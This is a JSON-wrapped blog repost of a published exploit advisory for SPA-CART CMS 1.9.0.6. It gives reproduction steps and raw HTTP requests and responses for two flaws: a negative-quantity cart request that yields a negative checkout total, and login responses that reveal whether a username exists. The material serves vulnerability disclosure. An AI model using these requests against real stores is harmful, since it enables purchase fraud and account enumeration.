{"id":57520,"date":"2024-06-17T18:51:26","date_gmt":"2024-06-17T15:51:26","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179110\/spacartcms1906-enumerate.txt"},"modified":"2024-06-17T18:51:26","modified_gmt":"2024-06-17T15:51:26","slug":"spa-cart-cms-1-9-0-6-username-enumeration-business-logic-flaw","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/spa-cart-cms-1-9-0-6-username-enumeration-business-logic-flaw\/","title":{"rendered":"SPA-CART CMS 1.9.0.6 Username Enumeration \/ Business Logic Flaw"},"content":{"rendered":"<p># Exploit Title: Business Logic Flaw and Username Enumeration in<br \/>spa-cartcmsv1.9.0.6<br \/># Date: 6\/2024<br \/># Exploit Author: Andrey Stoykov<br \/># Version: 1.9.0.6<br \/># Tested on: Ubuntu 22.04<br \/># Blog:<br \/>https:\/\/msecureltd.blogspot.com\/2024\/04\/friday-fun-pentest-series-5-spa.html<br \/>&lt;http:\/\/msecureltd.blogspot.com\/&gt;<\/p>\n<p>Description<\/p>\n<p>&#8211; It was found that the application suffers from business logic flaw<\/p>\n<p>&#8211; Additionally the application is vulnerable to username enumeration on the<br \/>login page<\/p>\n<p>Logic Flaw<\/p>\n<p>Steps to Reproduce:<\/p>\n<p>1. Checkout page and intercept HTTP POST request<br \/>2. Add minus quantity such as -10<br \/>3. The final price would come up as negative value<\/p>\n<p>\/\/ HTTP POST request modifying the quantity to negative value<\/p>\n<p>POST \/cart\/add HTTP\/2<br \/>Host: demo.spa-cart.com<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>(KHTML, like Gecko) Chrome\/123.0.6312.122<br \/>[&#8230;]\n<p>productid=225&amp;amount=-10<\/p>\n<p>\/\/ HTTP response<\/p>\n<p>HTTP\/2 200 OK<br \/>Server: nginx<br \/>[&#8230;]\n[&#8230;]&lt;img src=&#8221;https:\/\/demo.spa-cart.com\/var\/photo\/product\/234&#215;200\/225\/695\/1.jpg&#8221;<br \/>alt=&#8221;&#8221; \/&gt;&lt;b&gt;Five And Two Jewelry Piper Gold-Plated Earrings&lt;\/b&gt; added to<br \/>cart<br \/>&lt;br \/&gt;&lt;br \/&gt;<br \/>&lt;strong class=&#8221;added_price&#8221;&gt;Price: &lt;span&gt;&lt;span<br \/>class=&#8221;currency&#8221;&gt;$&lt;\/span&gt;59.00&lt;\/span&gt;&lt;\/strong&gt;<br \/>&lt;div class=&#8221;added_options&#8221;&gt;<br \/>&lt;b&gt;Selected options:&lt;\/b&gt;<br \/>Qty: 1&lt;br \/&gt;<br \/>Color: silver gold&lt;br \/&gt;<br \/>&lt;\/div&gt;<br \/>[&#8230;]\n<p>\/\/ HTTP GET request to checkout<\/p>\n<p>GET \/checkout HTTP\/2<br \/>Host: demo.spa-cart.com<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>(KHTML, like Gecko) Chrome\/123.0.6312.122<br \/>[&#8230;]\n<p>\/\/ HTTP response showing negative amount owned<\/p>\n<p>HTTP\/2 200 OK<br \/>Server: nginx<br \/>[&#8230;]\n[&#8230;]\\t&lt;td&gt;silver gold&lt;\\\/td&gt;\\r\\n&lt;\\\/tr&gt;\\r\\n&lt;\\\/table&gt;\\r\\n &lt;\\\/td&gt;\\r\\n &lt;td<br \/>class=\\&#8221;line\\&#8221; nowrap align=\\&#8221;right\\&#8221;&gt;\\r\\n&lt;span<br \/>class=\\&#8221;currency\\&#8221;&gt;$&lt;\\\/span&gt;59.00 x -10 =<br \/>&lt;span class=\\&#8221;currency\\&#8221;&gt;$&lt;\\\/span&gt;-590.00 &lt;\\\/td&gt;<br \/>[&#8230;]\n<p>Username Enumeration:<\/p>\n<p>Steps to Reproduce:<\/p>\n<p>1. Register account<br \/>2. Enter valid account with wrong password<br \/>3. Trap HTTP request<br \/>4. Check that response for valid username has &#8220;P&#8221; message<br \/>5. Enter invalid account with wrong password<br \/>6. Check that response for invalid username has &#8220;E&#8221; message<\/p>\n<p>\/\/ HTTP POST request with valid username and wrong password<\/p>\n<p>POST \/login HTTP\/2<br \/>Host: demo.spa-cart.com<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>(KHTML, like Gecko) Chrome\/123.0.6312.122 Safari\/537.36<br \/>[&#8230;]\n<p>email=test%40test.test&amp;password=test123<\/p>\n<p>\/\/ HTTP response showing &#8220;P&#8221; error message<\/p>\n<p>HTTP\/2 200 OK<br \/>Server: nginx<br \/>[&#8230;]\n<p>P<\/p>\n<p>\/\/ HTTP POST request with invalid username and wrong password<\/p>\n<p>POST \/login HTTP\/2<br \/>Host: demo.spa-cart.com<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>(KHTML, like Gecko) Chrome\/123.0.6312.122 Safari\/537.36<br \/>[&#8230;]\n<p>email=test%40test.t3st&amp;password=test123<\/p>\n<p>\/\/ HTTP response showing &#8220;E&#8221; error message<\/p>\n<p>HTTP\/2 200 OK<br \/>Server: nginx<br \/>[&#8230;]\n<p>E<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Business Logic Flaw and Username Enumeration inspa-cartcmsv1.9.0.6# Date: 6\/2024# Exploit Author: Andrey Stoykov# Version: 1.9.0.6# Tested on: Ubuntu 22.04# Blog:https:\/\/msecureltd.blogspot.com\/2024\/04\/friday-fun-pentest-series-5-spa.html&lt;http:\/\/msecureltd.blogspot.com\/&gt; Description &#8211; It was found that the application suffers from business logic flaw &#8211; Additionally the application is vulnerable to username enumeration on thelogin page Logic Flaw Steps to Reproduce: 1. Checkout &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57520","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57520"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57520\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57520"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}